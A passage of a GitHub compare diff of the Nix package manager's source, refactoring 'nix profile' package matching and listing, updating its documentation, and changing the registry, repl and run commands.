https://github.com/NixOS/nix/compare/3efa476c5439f8f6c1968a6ba20a31d1239c2f04..1fe5d172ece51a619e879c4b86f603d9495cc102 + auto findRefByFilePath = [&](Iterator begin, Iterator end) { + for (auto it = begin; it != end; it++) { + auto & [name, profileElement] = *it; + for (auto & storePath : profileElement.storePaths) { + if (conflictError.fileA.starts_with(store->printStorePath(storePath))) { + return std::tuple(conflictError.fileA, name, profileElement.toInstallables(*store)); + } + if (conflictError.fileB.starts_with(store->printStorePath(storePath))) { + return std::tuple(conflictError.fileB, name, profileElement.toInstallables(*store)); + } + } + } + throw conflictError; + }; + // There are 2 conflicting files. We need to find out which one is from the already installed package and + // which one is the package that is the new package that is being installed. + // The first matching package is the one that was already installed (original). + auto [originalConflictingFilePath, originalEntryName, originalConflictingRefs] = findRefByFilePath(manifest.elements.begin(), manifest.elements.end()); + // The last matching package is the one that was going to be installed (new). + auto [newConflictingFilePath, newEntryName, newConflictingRefs] = findRefByFilePath(manifest.elements.rbegin(), manifest.elements.rend()); + + throw Error( + "An existing package already provides the following file:\n" + "\n" + " %1%\n" + "\n" + "This is the conflicting file from the new package:\n" + "\n" + " %2%\n" + "\n" + "To remove the existing package:\n" + "\n" + " nix profile remove %3%\n" + "\n" + "The new package can also be installed next to the existing one by assigning a different priority.\n" + "The conflicting packages have a priority of %5%.\n" + "To prioritise the new package:\n" + "\n" + " nix profile install %4% --priority %6%\n" + "\n" + "To prioritise the existing package:\n" + "\n" + " nix profile install %4% --priority %7%\n", + originalConflictingFilePath, + newConflictingFilePath, + originalEntryName, + concatStringsSep(" ", newConflictingRefs), + conflictError.priority, + conflictError.priority - 1, + conflictError.priority + 1 + ); + } } }; -class MixProfileElementMatchers : virtual Args +struct Matcher { - std::vector _matchers; + virtual ~Matcher() { } + virtual std::string getTitle() = 0; + virtual bool matches(const std::string & name, const ProfileElement & element) = 0; +}; + +struct RegexMatcher final : public Matcher +{ + std::regex regex; + std::string pattern; + + RegexMatcher(const std::string & pattern) : regex(pattern, std::regex::extended | std::regex::icase), pattern(pattern) + { } + + std::string getTitle() override + { + return fmt("Regex '%s'", pattern); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return std::regex_match(element.identifier(), regex); + } +}; + +struct StorePathMatcher final : public Matcher +{ + nix::StorePath storePath; + + StorePathMatcher(const nix::StorePath & storePath) : storePath(storePath) + { } + + std::string getTitle() override + { + return fmt("Store path '%s'", storePath.to_string()); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return element.storePaths.count(storePath); + } +}; + +struct NameMatcher final : public Matcher +{ + std::string name; + + NameMatcher(const std::string & name) : name(name) + { } + + std::string getTitle() override + { + return fmt("Package name '%s'", name); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return name == this->name; + } +}; + +struct AllMatcher final : public Matcher +{ + std::string getTitle() override + { + return "--all"; + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return true; + } +}; + +AllMatcher all; + +class MixProfileElementMatchers : virtual Args, virtual StoreCommand +{ + std::vector> _matchers; public: MixProfileElementMatchers() { - expectArgs("elements", &_matchers); + addFlag({ + .longName = "all", + .description = "Match all packages in the profile.", + .handler = {[this]() { + _matchers.push_back(ref(std::shared_ptr(&all, [](AllMatcher*) {}))); + }}, + }); + addFlag({ + .longName = "regex", + .description = "A regular expression to match one or more packages in the profile.", + .labels = {"pattern"}, + .handler = {[this](std::string arg) { + _matchers.push_back(make_ref(arg)); + }}, + }); + expectArgs({ + .label = "elements", + .optional = true, + .handler = {[this](std::vector args) { + for (auto & arg : args) { + if (auto n = string2Int(arg)) { + throw Error("'nix profile' no longer supports indices ('%d')", *n); + } else if (getStore()->isStorePath(arg)) { + _matchers.push_back(make_ref(getStore()->parseStorePath(arg))); + } else { + _matchers.push_back(make_ref(arg)); + } + } + }} + }); } - struct RegexPattern { - std::string pattern; - std::regex reg; - }; - typedef std::variant Matcher; - - std::vector getMatchers(ref store) - { - std::vector res; - - for (auto & s : _matchers) { - if (auto n = string2Int(s)) - res.push_back(*n); - else if (store->isStorePath(s)) - res.push_back(s); - else - res.push_back(RegexPattern{s,std::regex(s, std::regex::extended | std::regex::icase)}); + std::set getMatchingElementNames(ProfileManifest & manifest) { + if (_matchers.empty()) { + throw UsageError("No packages specified."); } - return res; - } + if (std::find_if(_matchers.begin(), _matchers.end(), [](const ref & m) { return m.dynamic_pointer_cast(); }) != _matchers.end() && _matchers.size() > 1) { + throw UsageError("--all cannot be used with package names or regular expressions."); + } - bool matches(const Store & store, const ProfileElement & element, size_t pos, const std::vector & matchers) - { - for (auto & matcher : matchers) { - if (auto n = std::get_if(&matcher)) { - if (*n == pos) return true; - } else if (auto path = std::get_if(&matcher)) { - if (element.storePaths.count(store.parseStorePath(*path))) return true; - } else if (auto regex = std::get_if(&matcher)) { - if (element.source - && std::regex_match(element.source->attrPath, regex->reg)) - return true; + if (manifest.elements.empty()) { + warn("There are no packages in the profile."); + return {}; + } + + std::set result; + for (auto & matcher : _matchers) { + bool foundMatch = false; + for (auto & [name, element] : manifest.elements) { + if (matcher->matches(name, element)) { + result.insert(name); + foundMatch = true; + } + } + if (!foundMatch) { + warn("%s does not match any packages in the profile.", matcher->getTitle()); } } - - return false; + return result; } }; @@ -396,17 +649,19 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem { ProfileManifest oldManifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); + ProfileManifest newManifest = oldManifest; - ProfileManifest newManifest; + auto matchingElementNames = getMatchingElementNames(oldManifest); - for (size_t i = 0; i < oldManifest.elements.size(); ++i) { - auto & element(oldManifest.elements[i]); - if (!matches(*store, element, i, matchers)) { - newManifest.elements.push_back(std::move(element)); - } else { - notice("removing '%s'", element.describe()); - } + if (matchingElementNames.empty()) { + warn ("No packages to remove. Use 'nix profile list' to see the current profile."); + return; + } + + for (auto & name : matchingElementNames) { + auto & element = oldManifest.elements[name]; + notice("removing '%s'", element.identifier()); + newManifest.elements.erase(name); } auto removedCount = oldManifest.elements.size() - newManifest.elements.size(); @@ -414,18 +669,6 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem removedCount, newManifest.elements.size()); - if (removedCount == 0) { - for (auto matcher: matchers) { - if (const size_t * index = std::get_if(&matcher)){ - warn("'%d' is not a valid index", *index); - } else if (const Path * path = std::get_if(&matcher)){ - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)){ - warn("'%s' does not match any packages", regex->pattern); - } - } - warn ("Use 'nix profile list' to see the current profile."); - } updateProfile(newManifest.build(store)); } }; @@ -448,64 +691,79 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf { ProfileManifest manifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); - - std::vector> installables; - std::vector indices; + Installables installables; + std::vector elems; auto upgradedCount = 0; - for (size_t i = 0; i < manifest.elements.size(); ++i) { - auto & element(manifest.elements[i]); - if (element.source - && !element.source->originalRef.input.isLocked() - && matches(*store, element, i, matchers)) - { - upgradedCount++; + auto matchingElementNames = getMatchingElementNames(manifest); - Activity act(*logger, lvlChatty, actUnknown, - fmt("checking '%s' for updates", element.source->attrPath)); + if (matchingElementNames.empty()) { + warn("No packages to upgrade. Use 'nix profile list' to see the current profile."); + return; + } - auto installable = std::make_shared( - this, - getEvalState(), - FlakeRef(element.source->originalRef), - "", - element.source->outputs, - Strings{element.source->attrPath}, - Strings{}, - lockFlags); + for (auto & name : matchingElementNames) { + auto & element = manifest.elements[name]; - auto [attrPath, resolvedRef, drv] = installable->toDerivation(); - - if (element.source->resolvedRef == resolvedRef) continue; - - printInfo("upgrading '%s' from flake '%s' to '%s'", - element.source->attrPath, element.source->resolvedRef, resolvedRef); - - element.source = ProfileElementSource { - installable->flakeRef, - resolvedRef, - attrPath, - installable->outputsSpec - }; - - installables.push_back(installable); - indices.push_back(i); + if (!element.source) { + warn( + "Found package '%s', but it was not installed from a flake, so it can't be checked for upgrades!", + element.identifier() + ); + continue; } + if (element.source->originalRef.input.isLocked()) { + warn( + "Found package '%s', but it was installed from a locked flake reference so it can't be upgraded!", + element.identifier() + ); + continue; + } + + upgradedCount++; + + Activity act(*logger, lvlChatty, actUnknown, + fmt("checking '%s' for updates", element.source->attrPath)); + + auto installable = make_ref( + this, + getEvalState(), + FlakeRef(element.source->originalRef), + "", + element.source->outputs, + Strings{element.source->attrPath}, + Strings{}, + lockFlags); + + auto derivedPaths = installable->toDerivedPaths(); + if (derivedPaths.empty()) continue; + auto * infop = dynamic_cast(&*derivedPaths[0].info); + // `InstallableFlake` should use `ExtraPathInfoFlake`. + assert(infop); + auto & info = *infop; + + if (info.flake.lockedRef.input.isLocked() + && element.source->lockedRef == info.flake.lockedRef) + continue; + + printInfo("upgrading '%s' from flake '%s' to '%s'", + element.source->attrPath, element.source->lockedRef, info.flake.lockedRef); + + element.source = ProfileElementSource { + .originalRef = installable->flakeRef, + .lockedRef = info.flake.lockedRef, + .attrPath = info.value.attrPath, + .outputs = installable->extendedOutputsSpec, + }; + + installables.push_back(installable); + elems.push_back(&element); } if (upgradedCount == 0) { - for (auto & matcher : matchers) { - if (const size_t * index = std::get_if(&matcher)){ - warn("'%d' is not a valid index", *index); - } else if (const Path * path = std::get_if(&matcher)){ - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)){ - warn("'%s' does not match any packages", regex->pattern); - } - } - warn ("Use 'nix profile list' to see the current profile."); + warn("Found some packages but none of them could be upgraded."); + return; } auto builtPaths = builtPathsPerInstallable( @@ -514,15 +772,18 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf for (size_t i = 0; i < installables.size(); ++i) { auto & installable = installables.at(i); - auto & element = manifest.elements[indices.at(i)]; - element.updateStorePaths(getEvalStore(), store, builtPaths[installable.get()]); + auto & element = *elems.at(i); + element.updateStorePaths( + getEvalStore(), + store, + builtPaths.find(&*installable)->second.first); } updateProfile(manifest.build(store)); } }; -struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultProfile +struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultProfile, MixJSON { std::string description() override { @@ -540,12 +801,22 @@ struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultPro { ProfileManifest manifest(*getEvalState(), *profile); - for (size_t i = 0; i < manifest.elements.size(); ++i) { - auto & element(manifest.elements[i]); - logger->cout("%d %s %s %s", i, - element.source ? element.source->originalRef.to_string() + "#" + element.source->attrPath + printOutputsSpec(element.source->outputs) : "-", - element.source ? element.source->resolvedRef.to_string() + "#" + element.source->attrPath + printOutputsSpec(element.source->outputs) : "-", - concatStringsSep(" ", store->printStorePathSet(element.storePaths))); + if (json) { + std::cout << manifest.toJSON(*store).dump() << "\n"; + } else { + for (const auto & [i, e] : enumerate(manifest.elements)) { + auto & [name, element] = e; + if (i) logger->cout(""); + logger->cout("Name: " ANSI_BOLD "%s" ANSI_NORMAL "%s", + name, + element.active ? "" : " " ANSI_RED "(inactive)" ANSI_NORMAL); + if (element.source) { + logger->cout("Flake attribute: %s%s", element.source->attrPath, element.source->outputs.to_string()); + logger->cout("Original flake URL: %s", element.source->originalRef.to_string()); + logger->cout("Locked flake URL: %s", element.source->lockedRef.to_string()); + } + logger->cout("Store paths: %s", concatStringsSep(" ", store->printStorePathSet(element.storePaths))); + } } } }; @@ -573,9 +844,9 @@ struct CmdProfileDiffClosures : virtual StoreCommand, MixDefaultProfile for (auto & gen : gens) { if (prevGen) { - if (!first) std::cout << "\n"; + if (!first) logger->cout(""); first = false; - std::cout << fmt("Version %d -> %d:\n", prevGen->number, gen.number); + logger->cout("Version %d -> %d:", prevGen->number, gen.number); printClosureDiff(store, store->followLinksToStorePath(prevGen->path), store->followLinksToStorePath(gen.path), @@ -611,10 +882,10 @@ struct CmdProfileHistory : virtual StoreCommand, EvalCommand, MixDefaultProfile for (auto & gen : gens) { ProfileManifest manifest(*getEvalState(), gen.path); - if (!first) std::cout << "\n"; + if (!first) logger->cout(""); first = false; - std::cout << fmt("Version %s%d" ANSI_NORMAL " (%s)%s:\n", + logger->cout("Version %s%d" ANSI_NORMAL " (%s)%s:", gen.number == curGen ? ANSI_GREEN : ANSI_BOLD, gen.number, std::put_time(std::gmtime(&gen.creationTime), "%Y-%m-%d"), @@ -693,9 +964,10 @@ struct CmdProfileWipeHistory : virtual StoreCommand, MixDefaultProfile, MixDryRu void run(ref store) override { - if (minAge) - deleteGenerationsOlderThan(*profile, *minAge, dryRun); - else + if (minAge) { + auto t = parseOlderThanTimeSpec(*minAge); + deleteGenerationsOlderThan(*profile, t, dryRun); + } else deleteOldGenerations(*profile, dryRun); } }; @@ -703,7 +975,9 @@ struct CmdProfileWipeHistory : virtual StoreCommand, MixDefaultProfile, MixDryRu struct CmdProfile : NixMultiCommand { CmdProfile() - : MultiCommand({ + : NixMultiCommand( + "profile", + { {"install", []() { return make_ref(); }}, {"remove", []() { return make_ref(); }}, {"upgrade", []() { return make_ref(); }}, @@ -726,14 +1000,6 @@ struct CmdProfile : NixMultiCommand #include "profile.md" ; } - - void run() override - { - if (!command) - throw UsageError("'nix profile' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdProfile = registerCommand("profile"); diff --git a/src/nix/profile.md b/src/nix/profile.md index 273e02280..83a0b5f29 100644 --- a/src/nix/profile.md +++ b/src/nix/profile.md @@ -7,100 +7,39 @@ profile is a set of packages that can be installed and upgraded independently from each other. Nix profiles are versioned, allowing them to be rolled back easily. -# Default profile - -The default profile used by `nix profile` is `$HOME/.nix-profile`, -which, if it does not exist, is created as a symlink to -`/nix/var/nix/profiles/default` if Nix is invoked by the -`root` user, or `/nix/var/nix/profiles/per-user/`*username* otherwise. - -You can specify another profile location using `--profile` *path*. - -# Filesystem layout - -Profiles are versioned as follows. When using profile *path*, *path* -is a symlink to *path*`-`*N*, where *N* is the current *version* of -the profile. In turn, *path*`-`*N* is a symlink to a path in the Nix -store. For example: - -```console -$ ls -l /nix/var/nix/profiles/per-user/alice/profile* -lrwxrwxrwx 1 alice users 14 Nov 25 14:35 /nix/var/nix/profiles/per-user/alice/profile -> profile-7-link -lrwxrwxrwx 1 alice users 51 Oct 28 16:18 /nix/var/nix/profiles/per-user/alice/profile-5-link -> /nix/store/q69xad13ghpf7ir87h0b2gd28lafjj1j-profile -lrwxrwxrwx 1 alice users 51 Oct 29 13:20 /nix/var/nix/profiles/per-user/alice/profile-6-link -> /nix/store/6bvhpysd7vwz7k3b0pndn7ifi5xr32dg-profile -lrwxrwxrwx 1 alice users 51 Nov 25 14:35 /nix/var/nix/profiles/per-user/alice/profile-7-link -> /nix/store/mp0x6xnsg0b8qhswy6riqvimai4gm677-profile -``` - -Each of these symlinks is a root for the Nix garbage collector. - -The contents of the store path corresponding to each version of the -profile is a tree of symlinks to the files of the installed packages, -e.g. - -```console -$ ll -R /nix/var/nix/profiles/per-user/eelco/profile-7-link/ -/nix/var/nix/profiles/per-user/eelco/profile-7-link/: -total 20 -dr-xr-xr-x 2 root root 4096 Jan 1 1970 bin --r--r--r-- 2 root root 1402 Jan 1 1970 manifest.json -dr-xr-xr-x 4 root root 4096 Jan 1 1970 share - -/nix/var/nix/profiles/per-user/eelco/profile-7-link/bin: -total 20 -lrwxrwxrwx 5 root root 79 Jan 1 1970 chromium -> /nix/store/ijm5k0zqisvkdwjkc77mb9qzb35xfi4m-chromium-86.0.4240.111/bin/chromium -lrwxrwxrwx 7 root root 87 Jan 1 1970 spotify -> /nix/store/w9182874m1bl56smps3m5zjj36jhp3rn-spotify-1.1.26.501.gbe11e53b-15/bin/spotify -lrwxrwxrwx 3 root root 79 Jan 1 1970 zoom-us -> /nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927/bin/zoom-us - -/nix/var/nix/profiles/per-user/eelco/profile-7-link/share/applications: -total 12 -lrwxrwxrwx 4 root root 120 Jan 1 1970 chromium-browser.desktop -> /nix/store/4cf803y4vzfm3gyk3vzhzb2327v0kl8a-chromium-unwrapped-86.0.4240.111/share/applications/chromium-browser.desktop -lrwxrwxrwx 7 root root 110 Jan 1 1970 spotify.desktop -> /nix/store/w9182874m1bl56smps3m5zjj36jhp3rn-spotify-1.1.26.501.gbe11e53b-15/share/applications/spotify.desktop -lrwxrwxrwx 3 root root 107 Jan 1 1970 us.zoom.Zoom.desktop -> /nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927/share/applications/us.zoom.Zoom.desktop - -… -``` - -The file `manifest.json` records the provenance of the packages that -are installed in this version of the profile. It looks like this: - -```json -{ - "version": 1, - "elements": [ - { - "active": true, - "attrPath": "legacyPackages.x86_64-linux.zoom-us", - "originalUrl": "flake:nixpkgs", - "storePaths": [ - "/nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927" - ], - "uri": "github:NixOS/nixpkgs/13d0c311e3ae923a00f734b43fd1d35b47d8943a" - }, - … - ] -} -``` - -Each object in the array `elements` denotes an installed package and -has the following fields: - -* `originalUrl`: The [flake reference](./nix3-flake.md) specified by - the user at the time of installation (e.g. `nixpkgs`). This is also - the flake reference that will be used by `nix profile upgrade`. - -* `uri`: The locked flake reference to which `originalUrl` resolved. - -* `attrPath`: The flake output attribute that provided this - package. Note that this is not necessarily the attribute that the - user specified, but the one resulting from applying the default - attribute paths and prefixes; for instance, `hello` might resolve to - `packages.x86_64-linux.hello` and the empty string to - `packages.x86_64-linux.default`. - -* `storePath`: The paths in the Nix store containing the package. - -* `active`: Whether the profile contains symlinks to the files of this - package. If set to false, the package is kept in the Nix store, but - is not "visible" in the profile's symlink tree. +# Files + +)"" + +#include "profiles.md.gen.hh" + +R""( + +### Profile compatibility + +> **Warning** +> +> Once you have used [`nix profile`] you can no longer use [`nix-env`] without first deleting `$XDG_STATE_HOME/nix/profiles/profile` + +[`nix-env`]: @docroot@/command-ref/nix-env.md +[`nix profile`]: @docroot@/command-ref/new-cli/nix3-profile.md + +Once you installed a package with [`nix profile`], you get the following error message when using [`nix-env`]: + +```console +$ nix-env -f '' -iA 'hello' +error: nix-env +profile '/home/alice/.local/state/nix/profiles/profile' is incompatible with 'nix-env'; please use 'nix profile' instead +``` + +To migrate back to `nix-env` you can delete your current profile: + +> **Warning** +> +> This will delete packages that have been installed before, so you may want to back up this information before running the command. + +```console + $ rm -rf "${XDG_STATE_HOME-$HOME/.local/state}/nix/profiles/profile" +``` )"" diff --git a/src/nix/profiles.md b/src/nix/profiles.md new file mode 120000 index 000000000..c67a86194 --- /dev/null +++ b/src/nix/profiles.md @@ -0,0 +1 @@ +../../doc/manual/src/command-ref/files/profiles.md \ No newline at end of file diff --git a/src/nix/realisation.cc b/src/nix/realisation.cc index c9a7157cd..e1f231222 100644 --- a/src/nix/realisation.cc +++ b/src/nix/realisation.cc @@ -5,9 +5,9 @@ using namespace nix; -struct CmdRealisation : virtual NixMultiCommand +struct CmdRealisation : NixMultiCommand { - CmdRealisation() : MultiCommand(RegisterCommand::getCommandsFor({"realisation"})) + CmdRealisation() : NixMultiCommand("realisation", RegisterCommand::getCommandsFor({"realisation"})) { } std::string description() override @@ -16,14 +16,6 @@ struct CmdRealisation : virtual NixMultiCommand } Category category() override { return catUtility; } - - void run() override - { - if (!command) - throw UsageError("'nix realisation' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdRealisation = registerCommand("realisation"); @@ -46,7 +38,7 @@ struct CmdRealisationInfo : BuiltPathsCommand, MixJSON void run(ref store, BuiltPaths && paths) override { - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); RealisedPath::Set realisations; for (auto & builtPath : paths) { @@ -65,18 +57,16 @@ struct CmdRealisationInfo : BuiltPathsCommand, MixJSON res.push_back(currentPath); } - std::cout << res.dump(); + logger->cout("%s", res); } else { for (auto & path : realisations) { if (auto realisation = std::get_if(&path.raw)) { - std::cout << - realisation->id.to_string() << " " << - store->printStorePath(realisation->outPath); + logger->cout("%s %s", + realisation->id.to_string(), + store->printStorePath(realisation->outPath)); } else - std::cout << store->printStorePath(path.path()); - - std::cout << std::endl; + logger->cout("%s", store->printStorePath(path.path())); } } } diff --git a/src/nix/registry-pin.md b/src/nix/registry-pin.md index ebc0e3eff..5ad4f8709 100644 --- a/src/nix/registry-pin.md +++ b/src/nix/registry-pin.md @@ -15,10 +15,10 @@ R""( user flake:nixpkgs github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a ``` - and `nix flake info` will say: + and `nix flake metadata` will say: ```console - # nix flake info nixpkgs + # nix flake metadata nixpkgs Resolved URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a Locked URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a … diff --git a/src/nix/registry.cc b/src/nix/registry.cc index b5bdfba95..ee4516230 100644 --- a/src/nix/registry.cc +++ b/src/nix/registry.cc @@ -33,9 +33,9 @@ public: { if (registry) return registry; if (registry_path.empty()) { - registry = fetchers::getUserRegistry(); + registry = fetchers::getUserRegistry(fetchSettings); } else { - registry = fetchers::getCustomRegistry(registry_path); + registry = fetchers::getCustomRegistry(fetchSettings, registry_path); } return registry; } @@ -68,7 +68,7 @@ struct CmdRegistryList : StoreCommand { using namespace fetchers; - auto registries = getRegistries(store); + auto registries = getRegistries(fetchSettings, store); for (auto & registry : registries) { for (auto & entry : registry->entries) { @@ -109,8 +109,8 @@ struct CmdRegistryAdd : MixEvalArgs, Command, RegistryCommand void run() override { - auto fromRef = parseFlakeRef(fromUrl); - auto toRef = parseFlakeRef(toUrl); + auto fromRef = parseFlakeRef(fetchSettings, fromUrl); + auto toRef = parseFlakeRef(fetchSettings, toUrl); auto registry = getRegistry(); fetchers::Attrs extraAttrs; if (toRef.subdir != "") extraAttrs["dir"] = toRef.subdir; @@ -144,7 +144,7 @@ struct CmdRegistryRemove : RegistryCommand, Command void run() override { auto registry = getRegistry(); - registry->remove(parseFlakeRef(url).input); + registry->remove(parseFlakeRef(fetchSettings, url).input); registry->write(getRegistryPath()); } }; @@ -175,8 +175,8 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand .label = "locked", .optional = true, .handler = {&locked}, - .completer = {[&](size_t, std::string_view prefix) { - completeFlakeRef(getStore(), prefix); + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); }} }); } @@ -185,10 +185,12 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand { if (locked.empty()) locked = url; auto registry = getRegistry(); - auto ref = parseFlakeRef(url); - auto lockedRef = parseFlakeRef(locked); + auto ref = parseFlakeRef(fetchSettings, url); + auto lockedRef = parseFlakeRef(fetchSettings, locked); registry->remove(ref.input); - auto [tree, resolved] = lockedRef.resolve(store).input.fetch(store); + auto resolved = lockedRef.resolve(store).input.getAccessor(store).second; + if (!resolved.isLocked()) + warn("flake '%s' is not locked", resolved.to_string()); fetchers::Attrs extraAttrs; if (ref.subdir != "") extraAttrs["dir"] = ref.subdir; registry->add(ref.input, resolved, extraAttrs); @@ -196,10 +198,12 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand } }; -struct CmdRegistry : virtual NixMultiCommand +struct CmdRegistry : NixMultiCommand { CmdRegistry() - : MultiCommand({ + : NixMultiCommand( + "registry", + { {"list", []() { return make_ref(); }}, {"add", []() { return make_ref(); }}, {"remove", []() { return make_ref(); }}, @@ -221,15 +225,6 @@ struct CmdRegistry : virtual NixMultiCommand } Category category() override { return catSecondary; } - - void run() override - { - settings.requireExperimentalFeature(Xp::Flakes); - if (!command) - throw UsageError("'nix registry' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdRegistry = registerCommand("registry"); diff --git a/src/nix/repl.cc b/src/nix/repl.cc new file mode 100644 index 000000000..5a570749f --- /dev/null +++ b/src/nix/repl.cc @@ -0,0 +1,115 @@ +#include "eval.hh" +#include "eval-settings.hh" +#include "config-global.hh" +#include "globals.hh" +#include "command.hh" +#include "installable-value.hh" +#include "repl.hh" +#include "processes.hh" +#include "self-exe.hh" + +namespace nix { + +void runNix(Path program, const Strings & args, + const std::optional & input = {}) +{ + auto subprocessEnv = getEnv(); + subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue(); + //isInteractive avoid grabling interactive commands + runProgram2(RunOptions { + .program = getNixBin(program).string(), + .args = args, + .environment = subprocessEnv, + .input = input, + .isInteractive = true, + }); + + return; +} + +struct CmdRepl : RawInstallablesCommand +{ + CmdRepl() { + evalSettings.pureEval = false; + } + + /** + * This command is stable before the others + */ + std::optional experimentalFeature() override + { + return std::nullopt; + } + + std::vector files; + + Strings getDefaultFlakeAttrPaths() override + { + return {""}; + } + + bool forceImpureByDefault() override + { + return true; + } + + std::string description() override + { + return "start an interactive environment for evaluating Nix expressions"; + } + + std::string doc() override + { + return + #include "repl.md" + ; + } + + void applyDefaultInstallables(std::vector & rawInstallables) override + { + if (rawInstallables.empty() && (file.has_value() || expr.has_value())) { + rawInstallables.push_back("."); + } + } + + void run(ref store, std::vector && rawInstallables) override + { + auto state = getEvalState(); + auto getValues = [&]()->AbstractNixRepl::AnnotatedValues{ + auto installables = parseInstallables(store, rawInstallables); + AbstractNixRepl::AnnotatedValues values; + for (auto & installable_: installables){ + auto & installable = InstallableValue::require(*installable_); + auto what = installable.what(); + if (file){ + auto [val, pos] = installable.toValue(*state); + auto what = installable.what(); + state->forceValue(*val, pos); + auto autoArgs = getAutoArgs(*state); + auto valPost = state->allocValue(); + state->autoCallFunction(*autoArgs, *val, *valPost); + state->forceValue(*valPost, pos); + values.push_back( {valPost, what }); + } else { + auto [val, pos] = installable.toValue(*state); + values.push_back( {val, what} ); + } + } + return values; + }; + auto repl = AbstractNixRepl::create( + lookupPath, + openStore(), + state, + getValues, + runNix + ); + repl->autoArgs = getAutoArgs(*repl->state); + repl->initEnv(); + repl->mainLoop(); + } +}; + +static auto rCmdRepl = registerCommand("repl"); + +} diff --git a/src/nix/repl.md b/src/nix/repl.md index c5113be61..32c08e24b 100644 --- a/src/nix/repl.md +++ b/src/nix/repl.md @@ -36,16 +36,13 @@ R""( Loading Installable ''... Added 1 variables. - # nix repl --extra-experimental-features 'flakes repl-flake' nixpkgs + # nix repl --extra-experimental-features 'flakes' nixpkgs Loading Installable 'flake:nixpkgs#'... Added 5 variables. nix-repl> legacyPackages.x86_64-linux.emacs.name "emacs-27.1" - nix-repl> legacyPackages.x86_64-linux.emacs.name - "emacs-27.1" - nix-repl> :q # nix repl --expr 'import {}' diff --git a/src/nix/run.cc b/src/nix/run.cc index 45d2dfd0d..dfe7f374f 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -1,17 +1,21 @@ +#include "current-process.hh" #include "run.hh" -#include "command.hh" +#include "command-installable-value.hh" #include "common-args.hh" #include "shared.hh" +#include "signals.hh" #include "store-api.hh" #include "derivations.hh" -#include "local-store.hh" +#include "local-fs-store.hh" #include "finally.hh" -#include "fs-accessor.hh" +#include "source-accessor.hh" #include "progress-bar.hh" #include "eval.hh" +#include #if __linux__ -#include +# include +# include "personality.hh" #endif #include @@ -22,9 +26,11 @@ std::string chrootHelperName = "__run_in_chroot"; namespace nix { -void runProgramInStore(ref store, +void execProgramInStore(ref store, + UseLookupPath useLookupPath, const std::string & program, - const Strings & args) + const Strings & args, + std::optional system) { stopProgressBar(); @@ -44,7 +50,7 @@ void runProgramInStore(ref store, throw Error("store '%s' is not a local store so it does not support command execution", store->getUri()); if (store->storeDir != store2->getRealStoreDir()) { - Strings helperArgs = { chrootHelperName, store->storeDir, store2->getRealStoreDir(), program }; + Strings helperArgs = { chrootHelperName, store->storeDir, store2->getRealStoreDir(), std::string(system.value_or("")), program }; for (auto & arg : args) helperArgs.push_back(arg); execv(getSelfExe().value_or("nix").c_str(), stringsToCharPtrs(helperArgs).data()); @@ -52,87 +58,22 @@ void runProgramInStore(ref store, throw SysError("could not execute chroot helper"); } - execvp(program.c_str(), stringsToCharPtrs(args).data()); +#if __linux__ + if (system) + linux::setPersonality(*system); +#endif + + if (useLookupPath == UseLookupPath::Use) + execvp(program.c_str(), stringsToCharPtrs(args).data()); + else + execv(program.c_str(), stringsToCharPtrs(args).data()); throw SysError("unable to execute '%s'", program); } } -struct CmdShell : InstallablesCommand, MixEnvironment -{ - - using InstallablesCommand::run; - - std::vector command = { getEnv("SHELL").value_or("bash") }; - - CmdShell() - { - addFlag({ - .longName = "command", - .shortName = 'c', - .description = "Command and arguments to be executed, defaulting to `$SHELL`", - .labels = {"command", "args"}, - .handler = {[&](std::vector ss) { - if (ss.empty()) throw UsageError("--command requires at least one argument"); - command = ss; - }} - }); - } - - std::string description() override - { - return "run a shell in which the specified packages are available"; - } - - std::string doc() override - { - return - #include "shell.md" - ; - } - - void run(ref store) override - { - auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); - - auto accessor = store->getFSAccessor(); - - std::unordered_set done; - std::queue todo; - for (auto & path : outPaths) todo.push(path); - - setEnviron(); - - auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); - - while (!todo.empty()) { - auto path = todo.front(); - todo.pop(); - if (!done.insert(path).second) continue; - - if (true) - unixPath.push_front(store->printStorePath(path) + "/bin"); - - auto propPath = store->printStorePath(path) + "/nix-support/propagated-user-env-packages"; - if (accessor->stat(propPath).type == FSAccessor::tRegular) { - for (auto & p : tokenizeString(readFile(propPath))) - todo.push(store->parseStorePath(p)); - } - } - - setenv("PATH", 